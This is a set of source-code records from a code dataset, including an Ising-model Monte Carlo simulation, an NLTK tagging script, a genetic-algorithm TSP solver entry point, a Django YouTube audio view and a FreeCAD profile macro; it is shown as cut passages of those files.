$H$={},\".format(self.Nx,self.Ny,self.J,self.H)+'\\n'+r\"$N_{{MCS}}$={}, $P_s$={}, {}\".format(self.N_MCS,self.Ps,self.start)\n def make_filename(filename):\n return self.dir_path+self.MCmode+'/'+self.MCmode[0]+filename\n\n # 厳密解の計算\n theoretical_kBT_list = np.linspace(0.0001,self.max_kBT,1000)\n K = self.J/theoretical_kBT_list\n k = 2*np.sinh(2*K)/(np.cosh(2*K)**2)\n k2 = 2*np.tanh(2*K)**2-1\n # scipy.specialのimportに関してエラーが出たが,実行は問題なくできる\n E_theoretical = -self.J*(1+2/np.pi*k2*sps.ellipk(k**2))/np.tanh(2*K)\n C_theoretical = 2*K**2/np.pi/(np.tanh(2*K)**2)*(2*sps.ellipk(k**2)-2*sps.ellipe(k**2)-(1-k2)*(np.pi/2+k2*sps.ellipk(k**2)))\n M_theoretical = np.array([(1-(1/np.sinh(2*self.J/theoretical_kBT_list[i]))**4)**(1/8) if theoretical_kBT_list[i]Tc,TTcで自発磁化0)\n # gamma:T>Tcでの磁化率 X ~ t^(-gamma)\n\n # 2次元Ising模型の平均場近似解における臨界指数はそれぞれ,\n # alpha = 0 (不連続変化)\n # beta = 1/2\n # gamma = 1\n\n # 2次元Ising模型の厳密解における臨界指数はそれぞれ,\n # alpha = 0 (C ~ -ln(t))\n # beta = 1/8 = 0.125\n # gamma = 7/4 = 1.75\n\n # なお,ハイパー・スケーリング則によれば,alpha+2beta+gamma = 2が成り立つ\n \"\"\"\n # 転移点をT=Tcと仮定した上で臨界指数を計算する\n\n def make_filename(filename):\n return self.dir_path+self.MCmode+'/'+self.MCmode[0]+filename\n #return '' # 保存せずに図だけ表示する\n \n figsize = (8,7)\n \n # Tc近傍の点のうちどこからどこまでを近似に使用するか(alphaとgammaについては有限系であることが効いてくる)\n # lowlim <= log(|T-Tc|/Tc) <= uplim を近似に使用する\n lowlim = -4\n uplim = -1\n \n # Tc近傍の点のうちいくつを近似に使用するか(betaのみ)\n num_effective_points = 10\n\n # αの対数近似の場合\n X_alpha = np.array([np.log(np.abs(self.kBT_list[i]-self.kBTc)/self.kBTc) for i in range(len(self.kBT_list)) if self.kBT_list[i]>self.kBTc])\n Y_alpha = np.array([self.C_history[i] for i in range(len(self.kBT_list)) if self.kBT_list[i]>self.kBTc])\n usedX,usedY = X_alpha[(lowlim<=X_alpha) & (X_alpha<=uplim)],Y_alpha[(lowlim<=X_alpha) & (X_alpha<=uplim)]\n a, b = np.polyfit(usedX,usedY,1)\n make_figure(X_alpha,a*X_alpha+b,plot_type='plot',lcolor='black',label=r\"$T_c$近傍({}-{})点による近似直線\".format(np.where(X_alpha<=uplim)[0][-1],np.where(X_alphaself.kBTc and self.X_history[i]>0])\n Y_gamma = np.array([np.log(self.X_history[i]) for i in range(len(self.kBT_list)) if self.kBT_list[i]>self.kBTc and self.X_history[i]>0])\n gamma, b = np.polyfit(X_gamma[(lowlim<=X_gamma) & (X_gamma<=uplim)], Y_gamma[(lowlim<=X_gamma) & (X_gamma<=uplim)],1)\n make_figure(X_gamma,gamma*X_gamma+b,plot_type='plot',lcolor='black',label=r\"$T_c$近傍({}-{})点による近似直線($\\gamma={:.3f}$)\".format(np.where(X_gamma<=uplim)[0][-1],np.where(X_gammaT_c$で$\\chi\\sim(|T-T_c|/T_c)^{{-\\gamma}}$\",Xlabel=r\"$\\log(|T-T_c|/T_c)$\",Ylabel=r\"磁化率の対数 $\\log(\\chi)$\",label=r\"実験データ\",consecutive=-1)\n\n print('臨界指数')\n #print('alpha:'+str(-alpha))\n print('beta :'+str(beta))\n print('gamma:'+str(-gamma))\n\n\n \n\ndef main():\n # 理論計算による相転移温度Tcは,H=0で,kBTc=2J/ln(1+√2)=2.2691853J\n \n \n \n # single-spin-flip\n Nx = 50 # x方向にNx個のスピン\n Ny = 50 # y方向にNy個のスピン\n J = 1 # 交換相互作用定数\n H = 0.0 # 外部磁場\n max_kBT = 7 # 最大温度\n steps_kBT = 40 # 温度刻み数\n cold = True # 低温側からスタート\n\n equilibrium_num = 1.1 # 平衡状態開始割合の逆数\n sampling_period = 7500 # サンプリング周期\n Q = 1000 # サンプル状態数\n N_MCS = int(equilibrium_num*sampling_period*Q) # MCstep回数\n \n \"\"\"\n # cluster-spin-flip\n Nx = 50 # x方向にNx個のスピン\n Ny = 50 # y方向にNy個のスピン\n J = 1 # 交換相互作用定数\n H = 0.0 # 外部磁場\n max_kBT = 7 # 最大温度\n steps_kBT = 40 # 温度刻み数\n cold = True # 低温側からスタート\n\n equilibrium_num = 1.1 # 平衡状態開始割合の逆数\n sampling_period = 20 # サンプリング周期\n Q = 1000 # サンプル状態数\n N_MCS = int(equilibrium_num*sampling_period*Q) # MCstep回数\n \"\"\"\n \n dir_name = 'Desktop' # 保存先/読込元のディレクトリ名\n is_save = False # 保存\n\n I = Ising2(Ny,Nx,J,H,dir_name=dir_name,max_kBT=max_kBT,steps_kBT=steps_kBT,N_MCS=N_MCS,sampling_period=sampling_period,equilibrium_num=equilibrium_num,Q=Q,cold=cold) # coldstartがデフォルト\n\n ### 不要な部分をコメントアウトして使う\n start_time = time.process_time()\n I.MonteCarlo(MCmode='GibbsSampler',is_save=is_save)\n #I.MonteCarlo(MCmode='Metropolis',is_save=is_save)\n #I.MonteCarlo(MCmode='Wolff',is_save=is_save)\n #I.MonteCarlo(MCmode='SwendsenWang',is_save=is_save)\n finish_time = time.process_time()\n print(\"Time: \"+\"%g\" % (finish_time - start_time)) # 実行時間を計測\n\n #I.reconstructor('Ising,GibbsSampler,50,50,1,0.0,7,40,8250000,1.1,1000,coldstart.npz')\n #I.reconstructor('Ising,Metropolis,50,50,1,0.0,7,40,8250000,1.1,1000,coldstart.npz')\n #I.reconstructor('Ising,SwendsenWang,50,50,1,0.0,7,40,22000,1.1,1000,coldstart.npz')\n #I.reconstructor('Ising,Wolff,50,50,1,0.0,7,40,22000,1.1,1000,coldstart.npz')\n \n I.visualize_temperature_development() # kBTを変化させた時の各物理量の変化\n I.calculate_critical_index() # 臨界指数の算出\n \n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Ising.py","file_name":"Ising.py","file_ext":"py","file_size_in_byte":34733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"377146966","text":"import nltk\nimport numpy as np\nimport os \nimport re\nimport pandas as pd\nimport csv\nimport collections\nfrom nltk.util import ngrams\nfrom itertools import zip_longest\nfrom nltk.corpus import wordnet\n\nfiles = open (\"/home/alvinwong/Desktop/all.txt\", 'r')\ncontent = files.readlines()\n\nfiles = open (\"/home/alvinwong/Desktop/power.txt\", 'r')\npower = files.readlines()\n\nfiles = open (\"/home/alvinwong/Desktop/ExcelMotive.txt\", 'r')\nvalid = files.readlines()\n\nPow, Ach, Aff, Unnamed, temp, POS, input_text, pos_text, token, checking, Sent = ([] for i in range(11))\nsynonyms, antonyms, result, output = ([] for i in range(4))\n\ndef pos_tag(inputs):\n\tfor sentence in inputs:\n\t\tSent.append(sentence)\n\t\ttext = nltk.word_tokenize(sentence)\n\t\ttoken.append(text)\n\t\tnew_sentence = nltk.pos_tag(text)\n\t\tinput_text.append(new_sentence)\n\t\tfor tags in new_sentence:\n\t\t\tKW =tags[1]\n\t\t\tPOS.append(KW)\n\n\tfor element in input_text:\n\t\tfor index in element:\n\t\t\tLIST = list(index)\n\t\t\tLIST.remove(LIST[0])\n\t\t\ttemp.append(LIST)\n\t\tflatten = [item for sublist in temp for item in sublist]\n\t\tpos_text.append(flatten)\n\t\tdel temp[:]\ndef count():\n\tcounter = collections.Counter(POS)\n\tprint(counter)\n\tprint('\\n')\n\ndef powerDict():\n\tPowWord = ['strong', 'forceful', 'transform','power', 'condemn', 'criticism','rejection']\n\tfor pWrd in PowWord:\n\t\tfor syn in wordnet.synsets(pWrd): \n\t\t for l in syn.lemmas(): \n\t\t synonyms.append(l.name()) \n\t\t if l.antonyms(): \n\t\t antonyms.append(l.antonyms()[0].name()) \n\n\tseen = set()\n\tfor item in synonyms:\n\t if item not in seen:\n\t seen.add(item)\n\t result.append(item)\n\tdone = set()\n\tfor item in antonyms:\n\t if item not in done:\n\t done.add(item)\n\t output.append(item)\n\ndef chunker(taggings):\n\tfiltering = ['Pass', 'Removed']\n\tc = len(taggings)\n\td =0\n\tw=0\n\tpatterns = \"Exclude: {
|
||||}\"\n\tPchunker = nltk.RegexpParser(patterns)\n\tfor elements in taggings[:]:\n\t\tA = Pchunker.parse(elements)\n\t\tif A.height() <= 2:\n\t\t\ttemp.append(elements)\n\t\t\tchecking.append(filtering[1])\n\t\t\td+=1\n\t\t\ttaggings.remove(elements)\n\t\t\tc-=1\n\t\telse:\n\t\t\tchecking.append(filtering[0])\n\t\t\tw+=1\n\t\tprint(A.height())\n\t\t\n\tprint(c,d,w)\n\t# print(temp)\n\t\ndef CSV():\n\ttitle = ['Pow', 'Ach', 'Aff','Unnamed: 6']\n\tdf = pd.read_csv('/home/alvinwong/Desktop/GGD.csv',skipinitialspace=True)\n\tfor val in df['Pow']:\n\t\tPow.append(val)\n\tfor val in df['Ach']:\n\t\tAch.append(val)\n\tfor val in df['Aff']:\n\t\tAff.append(val)\n\tfor val in df['Unnamed: 6']:\n\t\tUnnamed.append(val)\n\n\tdf['Unnamed: 6'] = Unnamed\n\tfields = ['Input Sentence', 'Tokenizer', 'POS', 'Great Filter', 'POW', 'ACH', 'AFF', 'Unnamed']\n\toriginal = pd.DataFrame(data = [Sent, token, pos_text, checking, Pow, Ach, Aff, Unnamed], index = fields).transpose()\n\toriginal.to_csv('/home/alvinwong/Desktop/BBB.csv')\n\ndef main_method(subject):\n\tpos_tag(subject)\n\tcount()\n\tchunker(input_text)\n\tCSV()\n\tprint('\\n')\n\t\nmain_method(content)","sub_path":"code_power.py","file_name":"code_power.py","file_ext":"py","file_size_in_byte":2968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"42577217","text":"import time\n\nSTOP = 1000000 ** 1000\nstart = time.time()\n\n\ndef fibonacci():\n first, second = 0, 1\n while True:\n yield first\n first, second = second, first + second\n if first >= STOP:\n print(int((time.time() - start) * 1000))\n break\n\n\nf = fibonacci()\ntry:\n while True:\n print(next(f), end='\\n\\n')\nexcept StopIteration:\n print(\"It's all\")\n","sub_path":"python_examples/functional_programming/generators/infinity_fibonacci.py","file_name":"infinity_fibonacci.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"277975271","text":"import sys, math, time, logging, argparse, threading, multiprocessing, datetime\nfrom queue import Queue\nfrom multiprocessing import Process, Pool\n\nfrom Config.GAConfig import GAConfig\nfrom Parsers.TSPLIBParser import TSPLIBParser\nfrom Parsers.ConfigParser import ConfigParser\nfrom Population.EvolutionRunner import EvolutionRunner\nfrom Population.Population import Population\nfrom Annealing.SimulatedAnnealingRunner import SimulatedAnnealingRunner\nfrom Enum.AlgorithmStage import AlgorithmStage\nfrom Metrics.TSPMetrics import TSPMetrics\n\nlogging.basicConfig(level=logging.DEBUG)\n\ndef ParseArguments():\n\tparser = argparse.ArgumentParser(description='Find the shortest path in a Euclidean GTSP instance using a genetic algorithm')\n\tparser.add_argument('filename', metavar='filename', type=str, help='A file containing a TSP instance in TSPLIB format')\n\tparser.add_argument('config', metavar='config', type=str, help='A configuration file for running the algorithm')\n\treturn parser.parse_args()\n\ndef Solve(input_file, config_file, display_config=True):\n\tcities = TSPLIBParser().Parse(input_file)\n\tconfig = ConfigParser().Parse(config_file)\n\t\n\tif display_config:\n\t\tlogging.info(\"Running algorithm using configuration: \\n\" + str(config))\n\n\tstart_time = time.clock()\n\tlogging.info(\" Starting solver, current time is: \" + str(datetime.datetime.now()))\n\trunner = EvolutionRunner(cities, config)\n\trunner.RunInitialEvolutions()\n\tfinal_tour = runner.RunFinalEvolution() \n\tfinal_tour.WriteToFile(config.output_file)\n\n\tlogging.info(\" Solver finished, total running time: \" + str(time.clock() - start_time))\n\tlogging.info(\" Final tour located in file: \" + config.output_file)\n\tlogging.info(\" Cost: \" + str(final_tour.Cost()))\n\tlogging.info(\" Verified: \" + str(final_tour.Verify()))\n\trunner.metric_tracker.SetBestTour(final_tour.Cost())\n\treturn config.output_file, runner.metric_tracker\n\ndef Main():\n\targs = ParseArguments()\n\treturn Solve(args.filename, args.config)\n\nif __name__ == '__main__': \n\tMain()","sub_path":"CO353.Solver/CO353.Solver/Solver.py","file_name":"Solver.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"341901547","text":"with open('input.txt','r') as f:\n grid=f.read().splitlines()\ngrid=[list(r) for r in grid]\n\nm,n=len(grid),len(grid[0])\n\ndef occupied(grid,i,j):\n ret=0\n m,n=len(grid),len(grid[0])\n for di,dj in [(-1,-1),(-1,0),(-1,1),(0,-1),(0,1),(1,-1),(1,0),(1,1)]:\n I,J=i+di,j+dj\n if 0<=I=4:\n grid[i][j]='L'\n stable&=(c==grid[i][j])\n if stable:\n break\n \nprint(sum(r.count('#') for r in grid))\n \n \n \n","sub_path":"Day11/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"434415431","text":"from time import time\r\nimport matplotlib.pyplot as plt\r\nfrom FIM.Experiment import *\r\nfrom numpy import arange\r\n\r\ndef load_dataset(path, row=0):\r\n '''\r\n 读取数据集,通过row参数控制读取的数据H行数,默认全部读取\r\n :param path: 文件路径\r\n :param row: 要读取的数据的行数\r\n :return: data_set,数据结构[f_set]\r\n '''\r\n with open(path, 'rb') as data_file:\r\n data_set = []\r\n count = 0\r\n for line in data_file:\r\n if row and count == row:\r\n break\r\n line = line.split()\r\n int_line = frozenset(map(int, line))\r\n data_set.append(int_line)\r\n count += 1\r\n\r\n return data_set\r\n\r\ndef get_y_value(data_set, support_list, replication):\r\n\r\n algorithm_list = [Eclat.eclat, FP_Growth.fp_growth]\r\n time_matrix = []\r\n for min_support in support_list:\r\n time_list = []\r\n for algorithm in algorithm_list:\r\n time_span = 0\r\n for i in range(replication):\r\n time_span += cal_time(algorithm, data_set, min_support)\r\n time_list.append(time_span/replication)\r\n time_matrix.append(time_list)\r\n\r\n y_value = []\r\n for i in range(len(time_matrix[0])):\r\n temp = []\r\n for j in range(len(time_matrix)):\r\n temp.append(time_matrix[j][i])\r\n y_value.append(temp)\r\n\r\n return y_value\r\n\r\ndef cal_time(algorithm, data_set, min_support):\r\n t0 = time()\r\n algorithm(data_set, min_support)\r\n t1 = time()\r\n return t1-t0\r\n\r\ndef visualize(x_value, y_value, title, xlabel, ylabel='Time/s'):\r\n #plt.plot(x_value, y_value[0], marker='o', linestyle='-', label='Apriori')\r\n plt.plot(x_value, y_value[0], marker='s', linestyle='--', label='Ecalt', color='o')\r\n plt.plot(x_value, y_value[1], marker='*', linestyle=':', label='FP-Growth', color='g')\r\n\r\n plt.title(title)\r\n plt.xlabel(xlabel)\r\n plt.ylabel(ylabel)\r\n plt.legend(loc='upper right')\r\n plt.show()\r\n\r\ndef do_support_experiment(data_file, support_list, row=0, replication=1):\r\n\r\n if row == 0:\r\n xlabel = 'Support'\r\n else:\r\n xlabel = 'Support' + ' | Data Size={}'.format(row)\r\n title = data_file.title()\r\n\r\n path = './DataSet/' + data_file + '.dat'\r\n data_set = load_dataset(path, row)\r\n\r\n x_value = support_list\r\n y_value = get_y_value(data_set, support_list, replication)\r\n print(x_value, y_value, sep='\\n')\r\n visualize(x_value, y_value, title, xlabel)\r\n\r\nif __name__ == '__main__':\r\n t0 =time()\r\n data_file = 'T10I4D100K'\r\n support_list = arange(0.001, 0.01, 0.002)\r\n do_support_experiment(data_file, support_list, replication=1)\r\n t1 = time()\r\n print(t1-t0)","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"640870549","text":"from django.http import HttpResponseRedirect,HttpResponse\nfrom restless.views import Endpoint\nimport urllib2\nfrom extract import Extract\nfrom download import downloader\nimport os\nimport json\n\nclass Search(Endpoint):\n def get(self,request):\n url = 'https://www.youtube.com/results?search_query='\n word = request.params.get('word')\n data = urllib2.urlopen(url+(word.replace(' ','+')))\n data = data.read()\n parser = Extract()\n response = HttpResponse()\n response = data\n return json.dumps(parser.extract(data))\n #return url+(word.replace(' ','+'))\n\ndef Servefile(request):\n link = request.GET['link']\n prefix = u'v='\n download = downloader()\n download.download(unicode(prefix+link))\n fname = download.name\n fname = fname.split('.')\n path = fname[0]+'.mp3'\n f = open(path,'rb')\n resp = HttpResponse()\n resp.write(f.read())\n resp['Content-Type'] ='audio/mpeg'\n resp['Content-Length'] =os.path.getsize(path)\n return resp\n \n","sub_path":"Uaudio/Uaudio/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"7027652","text":"#\r\n#\r\n# A python macro for Freecad\r\n# to easely and quickly build profiles\r\n# wrote by Vincent Ballu\r\n# any remarks: vincent.ballu@gmx.com\r\n# release as a freeware: on your risks.\r\n# check all dimensions for a professional use!\r\n# suitable use:\r\n# automatic: select an edge on 3D display (sketch, line...) then launch the macro\r\n# choose the profile requested, adjust options and click OK\r\n# ->length and placement follow the edge\r\n# manual: Run the macro, adjust the options and click OK\r\n# ->Attachment and placement can be change as a Part object\r\n# ->length can be change that and still manual. (Profile Length parameter)\r\n# ->length = 0 provide a shape to sweep or extrude\r\n# versions:\r\n# 10/01/2021 : First release\r\n# 17/01/2021 : Pipe and round bar added\r\n# 23/01/2021 : Parameters for structure container changed\r\n# Box layout changed\r\n# Size give to the name profile enable\r\n# 23/01/2021 : Reduce code\r\n# Negative bevels are enable\r\n# 27/01/2021 : Bevels for centered profiles enable\r\n# 31/01/2021 : Bevel rotate option almost perfect :-)\r\n# 07/02/2021 : Inverted angle bevel\r\n# 08/02/2021 : Separate Rotate bevels\r\n# 11/02/2021 : Make profiles on the fly (no close the box) \r\n# 16/02/2021 : Allow 2nd bevel as rotation or cut\r\n# Limit bevels to 60° \r\n#\r\n# To do: T profiles\r\n# Aluminium profiles\r\n# and More profiles!\r\n# icons \r\n# limit attachement to edges\r\n\r\nfrom PySide import QtCore, QtGui\r\n\r\nimport FreeCAD, FreeCADGui, math\r\nVec = FreeCAD.Base.Vector\r\n\r\nglobal path, file_len\r\n\r\nclass Box(QtGui.QDialog):\r\n def __init__(self):\r\n \r\n fam_init = 12\r\n ind_init = 1\r\n \r\n self.fams = recherche_fams()\r\n self.fam = self.fams[fam_init]\r\n self.dims = recherche_dims(self.fam)\r\n self.dim = self.dims[ind_init]\r\n \r\n self.MakeFillet = True\r\n self.ReverseAttachement = False\r\n self.HeightCentered = False\r\n self.WidthCentered = False\r\n self.SizeName = False\r\n self.BevelsCombined = False\r\n self.LenghtInit = 100 \r\n \r\n self.update_data()\r\n \r\n self.o = SelObserver()\r\n FreeCADGui.Selection.addObserver(self.o) \r\n \r\n super(Box,self).__init__(Gui.getMainWindow(), QtCore.Qt.Tool)\r\n self.initUI()\r\n\r\n def initUI(self):\r\n \r\n g_win_width\t\t = 270\r\n g_win_height\t = 400\r\n g_xLoc\t\t\t = 250\r\n g_yLoc\t\t\t = 250\r\n \r\n self.setGeometry(g_xLoc,g_yLoc,g_win_width,g_win_height)\r\n self.setWindowTitle(\"Profile Warehouse\")\r\n # self.setWindowFlags(QtCore.Qt.WindowStaysOnTopHint)\r\n QtCore.Qt.WA_DeleteOnClose\r\n # self.setMouseTracking(True)\r\n # lay = QtGui.QGridLayout(self)\r\n \r\n #Labels\r\n self.label_title1 = QtGui.QLabel(\"Family\", self)\r\n newFont=QtGui.QFont(self.label_title1.font())\r\n newFont.setPointSize(10)\r\n self.label_title1.setFont(newFont)\r\n self.label_title1.move(50, 8)\r\n \r\n self.label_title2 = QtGui.QLabel(\"Size\", self)\r\n newFont=QtGui.QFont(self.label_title2.font())\r\n newFont.setPointSize(10)\r\n self.label_title2.setFont(newFont)\r\n self.label_title2.move(190, 8)\r\n \r\n self.label_height = QtGui.QLabel(\"Height or diameter\", self)\r\n self.label_height.move (10, 65)\r\n self.label_width = QtGui.QLabel(\"Width\", self)\r\n self.label_width.move (10, 90)\r\n self.label_mainthickness = QtGui.QLabel(\"Main Thickness\", self)\r\n self.label_mainthickness.move (10, 115)\r\n self.label_flangethickness = QtGui.QLabel(\"Flange Thickness\", self)\r\n self.label_flangethickness.move (10, 140)\r\n \r\n self.label_length = QtGui.QLabel(\"Length\", self)\r\n self.label_length.move (10, 165)\r\n self.label_length = QtGui.QLabel(\"Large radius\", self)\r\n self.label_length.move (10, 190)\r\n self.label_length = QtGui.QLabel(\"Small radius\", self)\r\n self.label_length.move (10, 215)\r\n \r\n self.label_attach= QtGui.QLabel(\"\",self)\r\n newFont=QtGui.QFont(self.label_attach.font())\r\n newFont.setPointSize(10)\r\n self.label_attach.setFont(newFont)\r\n self.label_attach.move (10, 250)\r\n \r\n self.update_selection(\"\",\"\")\r\n \r\n # checkboxes\r\n self.checkbox1 = QtGui.QCheckBox(\"Make Fillets\", self)\r\n self.checkbox1.setChecked(True)\r\n self.checkbox1.clicked.connect(self.onCheckbox1)\r\n self.checkbox1.move(10,275)\r\n self.checkbox2 = QtGui.QCheckBox(\"Reverse Attachment\", self)\r\n self.checkbox2.clicked.connect(self.onCheckbox2)\r\n self.checkbox2.move(140,275)\r\n self.checkbox3 = QtGui.QCheckBox(\"Height Centered\", self)\r\n self.checkbox3.clicked.connect(self.onCheckbox3)\r\n self.checkbox3.move(10,300)\r\n self.checkbox4 = QtGui.QCheckBox(\"Width Centered\", self)\r\n self.checkbox4.clicked.connect(self.onCheckbox4)\r\n self.checkbox4.move(140,300)\r\n self.checkbox5 = QtGui.QCheckBox(\"Size in object name\", self)\r\n self.checkbox5.clicked.connect(self.onCheckbox5)\r\n self.checkbox5.move(10,325)\r\n self.checkbox6 = QtGui.QCheckBox(\"Combined Bevels\", self)\r\n self.checkbox6.clicked.connect(self.onCheckbox6)\r\n self.checkbox6.move(140,325)\r\n \r\n # Combo boxes\r\n # familly\r\n self.ComboFamily = QtGui.QComboBox(self)\r\n self.ComboFamily.setToolTip(\"Choose kind of profile\")\r\n self.ComboFamily.addItems(self.fams)\r\n self.ComboFamily.setCurrentIndex(self.fams.index(self.fam))\r\n self.ComboFamily.activated[str].connect(self.onComboFamily_Changed)\r\n self.ComboFamily.move (10,30)\r\n # Size\r\n self.ComboSize = QtGui.QComboBox(self)\r\n self.ComboSize.setToolTip(\"Choose size\")\r\n self.ComboSize.addItems(self.dims)\r\n self.ComboSize.setCurrentIndex(self.dims.index(self.dim))\r\n self.ComboSize.activated[str].connect(self.onComboSize_Changed)\r\n self.ComboSize.move (160,30)\r\n\r\n # Spin Boxes\r\n self.SB_height = QtGui.QDoubleSpinBox(self)\r\n self.SB_height.setToolTip (\"Adjust height\")\r\n self.SB_height.setDecimals(1)\r\n self.SB_height.setMinimum(0.1)\r\n self.SB_height.setMaximum(1000.0)\r\n self.SB_height.setSingleStep(0.1)\r\n self.SB_height.setProperty(\"value\",self.P_height)\r\n self.SB_height.setObjectName(\"height\")\r\n self.SB_height.move(160,60)\r\n\r\n self.SB_width = QtGui.QDoubleSpinBox(self)\r\n self.SB_width.setToolTip (\"Adjust width\")\r\n self.SB_width.setDecimals(1)\r\n self.SB_width.setMinimum(0.0)\r\n self.SB_width.setMaximum(1000.0)\r\n self.SB_width.setSingleStep(0.1)\r\n self.SB_width.setProperty(\"value\",self.P_width)\r\n self.SB_width.setObjectName(\"width\")\r\n self.SB_width.move(160,85)\r\n\r\n self.SB_mainthickness = QtGui.QDoubleSpinBox(self)\r\n self.SB_mainthickness.setToolTip (\"Adjust main or web thickness\")\r\n self.SB_mainthickness.setDecimals(2)\r\n self.SB_mainthickness.setMinimum(0)\r\n self.SB_mainthickness.setMaximum(100.0)\r\n self.SB_mainthickness.setSingleStep(0.01)\r\n self.SB_mainthickness.setProperty(\"value\",self.P_mainthickness)\r\n self.SB_mainthickness.setObjectName(\"mainthickness\")\r\n self.SB_mainthickness.move(160,110)\r\n \r\n self.SB_flangethickness = QtGui.QDoubleSpinBox(self)\r\n self.SB_flangethickness.setToolTip (\"Adjust flange thickness\")\r\n self.SB_flangethickness.setDecimals(1)\r\n self.SB_flangethickness.setMinimum(0)\r\n self.SB_flangethickness.setMaximum(100.0)\r\n self.SB_flangethickness.setSingleStep(0.1)\r\n self.SB_flangethickness.setProperty(\"value\",self.P_flangethickness)\r\n self.SB_flangethickness.setObjectName(\"flangethickness\")\r\n self.SB_flangethickness.move(160,135)\r\n\r\n self.SB_length = QtGui.QDoubleSpinBox(self)\r\n self.SB_length.setToolTip (\"Set length if not attached\")\r\n self.SB_length.setDecimals(1)\r\n self.SB_length.setMinimum(0)\r\n self.SB_length.setMaximum(24000.0)\r\n self.SB_length.setSingleStep(1)\r\n self.SB_length.setProperty(\"value\",self.LenghtInit)\r\n self.SB_length.setObjectName(\"length\")\r\n self.SB_length.move(160,160)\r\n \r\n self.SB_Radius1 = QtGui.QDoubleSpinBox(self)\r\n self.SB_Radius1.setToolTip (\"Adjust Radius 1\")\r\n self.SB_Radius1.setDecimals(1)\r\n self.SB_Radius1.setMinimum(0)\r\n self.SB_Radius1.setMaximum(50)\r\n self.SB_Radius1.setSingleStep(0.1)\r\n self.SB_Radius1.setProperty(\"value\",self.P_radius1)\r\n self.SB_Radius1.setObjectName(\"radius1\")\r\n self.SB_Radius1.move(160,185)\r\n \r\n self.SB_Radius2 = QtGui.QDoubleSpinBox(self)\r\n self.SB_Radius2.setToolTip (\"Adjust Radius 2\")\r\n self.SB_Radius2.setDecimals(1)\r\n self.SB_Radius2.setMinimum(0)\r\n self.SB_Radius2.setMaximum(50)\r\n self.SB_Radius2.setSingleStep(0.1)\r\n self.SB_Radius2.setProperty(\"value\",self.P_radius2)\r\n self.SB_Radius2.setObjectName(\"radius2\")\r\n self.SB_Radius2.move(160,210)\r\n\r\n # cancel button\r\n cancelButton = QtGui.QPushButton('Close', self)\r\n cancelButton.clicked.connect(self.onCancel)\r\n cancelButton.setAutoDefault(True)\r\n cancelButton.move(50, 350)\r\n # OK button\r\n okButton = QtGui.QPushButton('Create', self)\r\n okButton.clicked.connect(self.onOk)\r\n okButton.move(150, 350)\r\n \r\n self.show()\r\n \r\n def onCancel(self):\r\n FreeCADGui.Selection.removeObserver(self.o) \r\n self.close()\r\n\r\n def onOk(self):\r\n if self.SizeName: name = self.fam + \"_\" + self.dim + \"_\"\r\n else: name = self.fam\r\n \r\n obj=doc.addObject(\"Part::FeaturePython\",name) \r\n obj.addExtension(\"Part::AttachExtensionPython\")\r\n obj.ViewObject.Proxy=0\r\n viewObject = FreeCADGui.ActiveDocument.getObject(obj.Name)\r\n viewObject.DisplayMode = \"Flat Lines\"\r\n linksub = \"\"\r\n \r\n try:\r\n selobj = FreeCADGui.Selection.getSelectionEx()[0]\r\n linksub = (selobj.Object, (selobj.SubElementNames[0]))\r\n selsubobj = selobj.SubObjects[0]\r\n feature = selobj.Object\r\n edgeName = selobj.SubElementNames[0]\r\n l = selsubobj.Length\r\n obj.MapMode = \"NormalToEdge\"\r\n obj.Support = (feature, edgeName)\r\n if self.ReverseAttachement == False:\r\n obj.MapPathParameter = 1\r\n else:\r\n obj.MapPathParameter = 0\r\n obj.MapReversed = True\r\n \r\n except: print (\"no edge selected\")\r\n \r\n w = self.SB_width.value()\r\n h = self.SB_height.value()\r\n ft = self.SB_flangethickness.value()\r\n mt = self.SB_mainthickness.value()\r\n r1 = self.SB_Radius1.value()\r\n r2 = self.SB_Radius2.value()\r\n if linksub==\"\": l = self.SB_length.value()\r\n \r\n p = float(self.Weight)\r\n \r\n if self.fam == \"Flat Sections\" or self.fam == \"Square\" : self.Makefillet = False\r\n \r\n Profile(obj,linksub,w,h,mt,ft,r1,r2,l,p,self.MakeFillet,self.HeightCentered,self.WidthCentered,self.fam,self.BevelsCombined)\r\n \r\n try: d = selobj.Document\r\n except: d = FreeCAD.activeDocument()\r\n d.recompute()\r\n \r\n FreeCADGui.Selection.removeObserver(self.o) \r\n \r\n\r\n def onCheckbox1(self,state):\r\n self.MakeFillet = state\r\n\r\n def onCheckbox2(self,state):\r\n self.ReverseAttachement = state\r\n \r\n def onCheckbox3(self,state):\r\n self.HeightCentered = state\r\n\r\n def onCheckbox4(self,state):\r\n self.WidthCentered = state\r\n\r\n def onCheckbox5(self,state):\r\n self.SizeName = state\r\n\r\n def onCheckbox6(self,state):\r\n self.BevelsCombined = state\r\n \r\n\r\n def onComboFamily_Changed(self,texte):\r\n self.fam = texte\r\n self.dims = recherche_dims(self.fam)\r\n self.dim = self.dims[0]\r\n self.ComboSize.clear()\r\n self.ComboSize.addItems(self.dims)\r\n self.ComboSize.setCurrentIndex(self.dims.index(self.dim))\r\n self.update_data()\r\n self.update_box()\r\n\r\n def onComboSize_Changed(self,texte):\r\n self.dim = texte\r\n self.update_data()\r\n self.update_box()\r\n \r\n def update_data(self):\r\n self.data = extrait_data(self.fam,self.dim)\r\n try: self.P_height = self.data[recherche_ind(self.fam,\"Height\")]\r\n except:self.P_height = 0\r\n try: self.P_width = self.data[recherche_ind(self.fam,\"Width\")]\r\n except:self.P_width = 0\r\n try: self.P_mainthickness = self.data[recherche_ind(self.fam,\"Thickness\")]\r\n except:self.P_mainthickness = 0\r\n try: self.P_flangethickness = 